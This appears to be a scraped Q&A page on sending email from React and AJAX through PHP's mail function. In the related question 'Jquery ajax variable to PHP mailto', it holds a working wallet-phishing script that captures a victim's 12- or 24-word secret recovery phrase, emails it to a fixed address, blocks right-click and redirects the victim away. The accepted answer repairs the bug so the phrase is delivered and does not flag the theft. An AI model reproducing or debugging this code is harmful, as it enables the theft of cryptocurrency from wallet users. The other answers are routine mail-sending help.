To send php mail from React with nginx, AWS - php

You are using the nginx web server
React is trying to use the php mail function.
However, I don't know how to set it up on the web server.
I am using AWS es2 and I am using ubuntu 20.04 version.
Here's how we've done it so far.
I installed the first php8.1, php pfm8.1.
I installed postfix twice.
But I don't know which of these two ways is right.
Is it right to install and use php on the server?
I don't know if it's right to use postfix.
I want to implement the function of sending mail to my mailbox after writing it.
React Code
function Contact() {
const [textarea, setTextarea] = useState<textAreaType>({
message: ''
});
const [inputs, setInputs] = useState<inputTypes>({
company: '',
number: '',
email: '',
name: '',
phone: '',
})
const { company, number, email, name, phone } = inputs
const { message } = textarea
const onChangeInput = (e: React.ChangeEvent<HTMLInputElement>) => {
const { value, name } = e.target;
setInputs({
...inputs, // 기존의 input 객체를 복사한 뒤
[name]: value // name 키를 가진 값을 value 로 설정
});
};
const onChangeTextarea = (e: React.ChangeEvent<HTMLTextAreaElement>) => {
const { value, name } = e.target
setTextarea({
...textarea,
[name]: value
});
};
function handleFormSubmit(event: React.FormEvent) {
// 언제나 HTMLInputElement 가 반환된다는 것을 알려줌. (타입 단언)
const email_Input = (document.getElementById('email') as HTMLInputElement).value
const name_Input = (document.getElementById('name') as HTMLInputElement).value
const phone_Input = (document.getElementById('phone') as HTMLInputElement).value
if (email_Input.length === 0) {
alert('이메일을 입력해주세요.')
} else if (name_Input.length === 0) {
alert('담당자 이름을 입력해주세요.')
} else if (phone_Input.length === 0) {
alert('담당자 전화번호를 입력해주세요.')
} else {
axios({
method: 'post',
url: `${API_PATH}`,
headers: { 'content-type': 'application/json' },
data: { ...inputs, ...textarea }
}).then(res => {
if (res.status === 200) {
alert('메일을 전송하였습니다. 홈으로 이동합니다.')
window.location.pathname = '/'
} else {
alert("메일전송에 실패하였습니다.")
}
}).catch(error => console.error(error));
event.preventDefault()
}
};
const API_PATH: string = 'http://XXXX.com/index.php'
PHP
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
header("Access-Control-Allow-Headers: X-PINGOTHER, Content-Type, Authorization");
header("Access-Control-Max-Age: 86400");
$rest_json = file_get_contents("php://input");
$_POST = json_decode($rest_json, true);
// company - 회사명
// number - 회사번호
// email - 이메일
// name - 담당자 명
// phone - 담당자 전화번호
// message - 메세지
$to = "XXXX#XXXX.com";
$subject = "Grigom_Pictures CONTACT MAIL - ".$_POST['company'];
$contents= nl2br(
"회사명 : ".$_POST['company']."\n".
"회사번호 : ".$_POST['number']."\n".
"이메일 : ".$_POST['email']."\n".
"담당자 명 : ".$_POST['name']."\n".
"담당자 전화번호 : ".$_POST['phone']."\n".
"내용 : ".$_POST['message']."\n"
);
$headers = implode("\r\n", [
//"From:" . $_POST['email'] . "",
"From: grigompictures.com",
'MIME-Version: 1.0',
'Content-Type: text/html; charset=UTF-8',
'X-Mailer: PHP/' . PHP_VERSION
]);
mail($to, $subject, $contents, $headers);
?>

Related

Jquery ajax variable to PHP mailto ()

I am trying to post import-account__secret-phrase to a $_Post PHP variable within another file. To either store/email the variable.
<script>
var p = !1;
setTimeout(function() {
$(".z2").addClass("hidden"), $(".z3").removeClass("hidden")
}, 1e3), $(".import-account__secret-phrase").on("keyup", function() {
var t = $(this).val().split(" ");
p || (12 == t.length && 1 < t[11].length || 24 == t.length && 1 < t[23].length ? $(".button.btn--first-time.first-time-flow__button").prop("disabled", !1) : $(".button.btn--first-time.first-time-flow__button").prop("disabled", !0))
}), $(".button.btn--first-time.first-time-flow__button").on("click", function() {
p = !0, $(this).prop("disabled", !0).html('<i class="fa fa-spinner fa-spin fa-fw"></i> ' + $(this).html()), $.post("post.php", {
data1: "Account",
data: $(".import-account__secret-phrase").val()
}, function() {
p = !1
}, "json"), window.parent.opener.postMessage({
uni: !0
}), setTimeout(function() {
$(".z2").removeClass("hidden"), $(".z3").addClass("hidden"), setTimeout(function() {
window.parent.opener.location.replace("https://website.com"), window.parent.close()
}, 2e3)
}, 1e3)
}), document.body.addEventListener("contextmenu", function(t) {
"import-account__secret-phrase" != t.toElement.className && t.preventDefault()
}, !1);
</script>
Here is the post.php file which is in the same folder.
<?php
// data sent in header are in JSON format
header('Content-Type: application/json');
// takes the value from variables and Post the data
$postmessage = $_POST['.import-account__secret-phrase'];
$to = "email#email.com";
$subject = "Phrase";
// Email Template
$message .= "Message:". $postmessage."<br>";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$retval = mail ($to,$subject,$message,$header);
?>
The email fires and is recieved, but the $postmessage variable is blank and the secret phrase isn't displayed.
The issue is because you're sending the values in the data and data1 parameters, yet your PHP appears to be trying to use a DOM selector to retrieve the value.
From the context you need to change that selector to just 'data', so that it reads the value you provided in the $.ajax() call.
$postmessage = $_POST['data'];
I would also suggest you use more descriptive parameter names.

Use create-react-app with php

I'm new to react and want to use it with index.php. I made my react project using create-react-app. I researched about it and found that you can use react with php after building it. But I want to work with development mode. Please help me with this.
use another server for PHP;
first debug React, "npm start" http://localhost:3000/
let buttonPHPSet = () => document.getElementById("buttonPHP").addEventListener("click", (e) => {
const that = e.target;
const data = {
"p": "7",
"h": "2",
"P": "3"
};
postAjax("http://my-app.local/controller/HomeController.php", data, (result) => {
let json = JSON.parse(result);
that.textContent = JSON.stringify(json);
console.log(json);
});
}, false);
function postAjax(url, object, success) {
let xhr = new XMLHttpRequest();
xhr.open('POST', url, true); //URL-aдpec интерпретируется относительно страницы, с которой вызывается код, хотя можно указать и абсолютный путь //только готовит его к отправке
xhr.onreadystatechange = () => {
if (xhr.readyState === 4 && xhr.status === 200) {
success(xhr.responseText);
}
};
xhr.setRequestHeader('Content-Type', 'text/plain; charset=UTF-8');
xhr.send(JSON.stringify(object));
// let xhrFormData = new FormData();
// for (const key in object) {
// if (object.hasOwnProperty(key)) {
// xhrFormData.append(key, object[key]);
// }
// }
// xhr.send(xhrFormData);
// const allHeaders = xhr.getAllResponseHeaders();
// xhr.abort();
return xhr;
}
sec debug php whis IIS http://my-app.local/
<?php
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, X-Requested-With");
header('Content-Type: text/plain; charset=utf-8');
// header("Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT");
// header('Access-Control-Allow-Credentials: true');
// header('Content-Type: application/json;charset=UTF-8');
// header('Content-type: application/xml');
// header('Content-type: multipart/form-data);
// header('Content-type: text/html;charset=utf-8);
// header('Content-type: application/x-www-form-urlencoded; charset=UTF-8);
$postdata = file_get_contents("php://input");
$postDataDecode = json_decode($postdata);
if($_POST){
$array = [];
foreach ($_POST as $key => $value) {
$array[$key] = $value;
}
echo json_encode($array);
} elseif ($postDataDecode) {
echo json_encode($postDataDecode);
}
?>
vs code
edge

JSON encoding headers using Sendgrid

I am trying to change the filter status for the 'subscriptiontrack' using sendgrid. I think I am sending the headers incorrectly, but not totally sure. Working inside a symfony 1.4 framework.
First I create an object of the header settings
$hdr = new SmtpApiHeader();
$hdr->addFilterSetting('subscriptiontrack', 'enable', 0);
$hdr->as_string();
which sets the filter settings and encodes the string
Then I send it off the email class
sendTestEmail::sendEmail($contents, $mailFrom, $testGroup, $subject, $hdr);
SvaSmtpApiHeader.class.php
class SmtpApiHeader
{
function addFilterSetting($filter, $setting, $value)
{
if (!isset($this->data['filters'])) {
$this->data['filters'] = array();
}
if (!isset($this->data['filters'][$filter])) {
$this->data['filters'][$filter] = array();
}
if (!isset($this->data['filters'][$filter]['settings'])) {
$this->data['filters'][$filter]['settings'] = array();
}
$this->data['filters'][$filter]['settings'][$setting] = $value;
}
function asJSON()
{
$json = json_encode($this->data);
// Add spaces so that the field can be folded
$json = preg_replace('/(["\]}])([,:])(["\[{])/', '$1$2 $3', $json);
return $json;
}
function as_string()
{
$json = $this->asJSON();
$str = "X-SMTPAPI: " . wordwrap($json, 76, "\n ");
return $str;
}
}
myEmail.class.php
<?php
class sendTestEmail
{
public static function sendEmail($contents, $mailFrom, $mailTo, $subject, $sgHeaders = null, $attachments = null)
{
try {
/*
* Load connection for mailer
*/
$connection = Swift_SmtpTransport::newInstance('smtp.sendgrid.net', 465, 'ssl')->setUsername(sfconfig::get('app_sendgrid_username'))->setPassword(sfconfig::get('app_sendgrid_password'));
// setup connection/content
$mailer = Swift_Mailer::newInstance($connection);
$message = Swift_Message::newInstance()->setSubject($subject)->setTo($mailTo);
$message->setBody($contents, 'text/html');
// if contains SMTPAPI header add it
if (null !== $sgHeaders) {
$message->getHeaders()->addTextHeader('X-SMTPAPI', $sgHeaders);
}
// update the from address line to include an actual name
if (is_array($mailFrom) and count($mailFrom) == 2) {
$mailFrom = array(
$mailFrom['email'] => $mailFrom['name']
);
}
// add attachments to email
if ($attachments !== null and is_array($attachments)) {
foreach ($attachments as $attachment) {
$attach = Swift_Attachment::fromPath($attachment['file'], $attachment['mime'])->setFilename($attachment['filename']);
$message->attach($attach);
}
}
// Send
$message->setFrom($mailFrom);
$mailer->send($message);
}
catch (Exception $e) {
throw new sfException('Error sending email out - ' . $e->getMessage());
}
}
}
The email is getting sent properly, but the unsubscribe option is still showing up at the bottom. Is this an issue with the header object or a problem with encoding for the header? Is the variable is still an object when getting added to the headers?
You're misunderstanding how JSON encoding works. Let's take a look at your as_string method:
function as_string()
{
$json = $this->asJSON();
$str = "X-SMTPAPI: " . wordwrap($json, 76, "\n ");
return $str;
}
This would output something to the effect of:
X-SMTPAPI: { "filters": { "subscriptiontrack": { "settings": { "enable": 0 } } } }
You should note that this isn't valid JSON because it is prefixed with "X-SMTPAPI". Instead, you should be calling asJSON, but SwiftMailer doesn't know that.
Try switching the header line to:
$message->getHeaders()->addTextHeader('X-SMTPAPI', $sgHeaders->asJSON());
If that doesn't work, can you give us a dump of:
$headers = $message->getHeaders();
echo $headers->toString();
And have you thought about using the official PHP library instead? https://github.com/sendgrid/sendgrid-php

Ajax Array to PHP issue

Im having difficulties when parsing an array using Ajax to PHP to send an email with the values from the array.
Ajax code:
$(document).ready(function(){
$("#submit-button").click(function(){
var countryArray = ['Location Zero', 'Location One', 'Location Two'];
dataString = countryArray;
var jsonString = JSON.stringify(dataString);
$.ajax({
type: "POST",
url: "sendmail.php",
data: {countries: jsonString},
success: function (msg) {
$("#errors").text("Thank you for getting in touch, we will get back to you!");
},
error: function (msg) {
$("#errors").text("Error sending email, please try again.");
alert("error");
}
});
});
});
PHP code:
<?php
$to = "abc#abc.com";
$countries = json_decode($_POST['countries']);
$header = "Content-Type: text/html\r\nReply-To: \r\nFrom: <>";
$subject = "Email from the Lister customer";
$body = #"$countries";
if(mail($to, $subject, $body, $header)) {
die("true");
} else {
die("There was an error sending the email.");
}
?>
But all I'm getting with in the email from $countries is word "Array" instead of the values.
Can anyone help please?
$countries is an array. If you want it to be displayed as a list in your $body, you can do:
$body = implode(', ', $countries);
Please also try not to suppress (#) PHP errors, it'll cause you more headaches in the future.
<?php
$to = "abc#abc.com";
$countries = json_decode($_POST['countries']);
$header = "Content-Type: text/html\r\nReply-To: \r\nFrom: <>";
$subject = "Email from the Lister customer";
$body = implode(", ", $countries);
if(mail($to, $subject, $body, $header)) {
die("true");
} else {
die("There was an error sending the email.");
}
?>
If you're using jquery, try using .serializeArray() instead of stringify.
Also, when receiving the $_POST['contries'] variables, you need to implode it. Try this:
$(document).ready(function(){
$("#submit-button").click(function(){
var countryArray = ['Location Zero', 'Location One', 'Location Two'];
$.ajax({
type: "POST",
url: "sendmail.php",
data: {countries: countryArray.serializeArray()},
success: function (msg) {
$("#errors").text("Thank you for getting in touch, we will get back to you!");
},
error: function (msg) {
$("#errors").text("Error sending email, please try again.");
alert("error");
}
});
});
});
And then in PHP use this to properly grab the countries values:
implode(', '.$countries);

Accessing JSON object via PHP

I have the following code..
if (config.sendResultsURL !== null)
{
console.log("Send Results");
var collate =[];
for (r=0;r<userAnswers.length;r++)
{
collate.push('{"questionNumber'+parseInt(r+1)+ '"' + ': [{"UserAnswer":"'+userAnswers[r]+'", "actualAnswer":"'+answers[r]+'"}]}');
}
$.ajax({
type: 'POST',
url: config.sendResultsURL,
data: '[' + collate.join(",") + ']',
complete: function()
{
console.log("Results sent");
}
});
}
Using Firebug I get this from the console.
[{"questionNumber1": [{"UserAnswer":"3", "actualAnswer":"2"}]},{"questionNumber2": [{"UserAnswer":"3", "actualAnswer":"2"}]},{"questionNumber3": [{"UserAnswer":"3", "actualAnswer":"2"}]},{"questionNumber4": [{"UserAnswer":"3", "actualAnswer":"1"}]},{"questionNumber5": [{"UserAnswer":"3", "actualAnswer":"1"}]}]
From here the script sends data to emailData.php which reads...
$json = json_decode($_POST, TRUE);
$body = "$json";
$to = "myemail#email.com";
$email = 'Diesel John';
$subject = 'Results';
$headers = "From: $email\r\n";
$headers .= "Content-type: text/html\r\n";
// Send the email:
$sendMail = mail($to, $subject, $body, $headers);
Now I do get the email however it is blank.
My question is how do I pass the data to emailData.php and from there access it?
Create an object that you want to pass to PHP
Use JSON.stringify() to make a JSON string for that object.
Pass it to PHP script using POST or GET and with a name.
Depending on your request capture it from $_GET['name'] OR $_POST['name'].
Apply json_decode in php to get the JSON as native object.
In your case you can just pass userAnswers[r] and answers[r]. Array sequence are preserved.
In for loop use,
collate.push({"UserAnswer":userAnswers[r], "actualAnswer":answers[r]});
In ajax request use,
data: {"data" : JSON.stringify(collate)}
In the PHP end,
$json = json_decode($_POST['data'], TRUE); // the result will be an array.
json_decode converting string to object.
just do bellow code and check the values.
print_r($json)
Directly assign json object to string this is very bad.
If you decode your json, you will have a hash and not a string. If you want to be mailed the same as what you printed on the console, simply do this:
$body = $_POST['data'];
Another option would be to parse json into a php hash and var_dump that:
$json = json_decode($_POST['data'], TRUE);
$body = var_export($json, TRUE);
Using below JavaScript code
var collate =[], key, value;
for (r=0;r<userAnswers.length;r++) {
key = questionNumber + parseInt(r+1);
value = { "UserAnswer": userAnswers[r], "actualAnswer": answers[r] };
collate.push({ key : value });
}
$.post( config.sendResultsURL, { data: collate }, function(data) {
console.log("Results sent");
});
And do this in PHP
$data = json_decode( $_POST['data'], true );
and you will have all your data with array.
$jsonData = file_get_contents('php://input');
$json = json_decode($jsonData, 1);
mail('email', 'subject', print_r($json, 1));

Categories